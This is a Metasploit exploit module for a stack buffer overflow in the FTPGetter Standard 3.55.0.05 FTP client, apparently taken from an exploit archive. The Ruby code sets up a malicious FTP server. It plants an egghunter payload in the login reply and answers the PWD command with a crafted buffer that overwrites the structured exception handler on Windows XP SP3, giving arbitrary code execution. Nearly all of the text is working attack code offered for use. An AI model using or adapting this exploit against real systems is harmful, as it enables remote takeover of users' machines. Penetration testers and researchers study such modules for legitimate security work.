FTPGetter Standard 3.55.0.05 – Remote Stack Buffer Overflow (PWD) (Metasploit)
## # $Id: ftpgetter_pwd_reply.rb 11039 2010-11-14 19:03:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)', 'Description' => %q{ This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client. When processing the response on a PWD command, a stack based buffer overflow occurs. This leads to arbitrary code execution when a structured exception handler gets overwritten. }, 'Author' => [ 'ekse', # found the bug 'corelanc0d3r', # wrote the exploit ], 'License' => MSF_LICENSE, 'Version' => "$Revision: 11039 $", 'References' => [ [ 'OSVDB', '68638'], [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a", }, 'Platform' => 'win', 'Targets' => [ [ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ], # ppr [ssleay32.dll] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 12 2010', 'DefaultTarget' => 0)) end def setup super badchars = "" eggoptions = { :checksum => true, :eggtag => "W00T" } @hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions) end def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end def on_client_command_pass(c,arg) @state[c][:pass] = arg c.put("230 OK #{@egg}\r\n") return end def on_client_command_pwd(c,arg) junk1 = "A" * target['Offset'] junk2 = "A" * 9 nseh = "\x74\x06\x41\x41" jmp = "\x75\x08" seh = [target.ret].pack('V') junk3 = "D" * 22000 #dual offset buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3 c.put("257 \"/\" #{buffer}\r\n") print_status("Sent payload, #{buffer.length} bytes") print_status("Wait for hunter ...") return end end |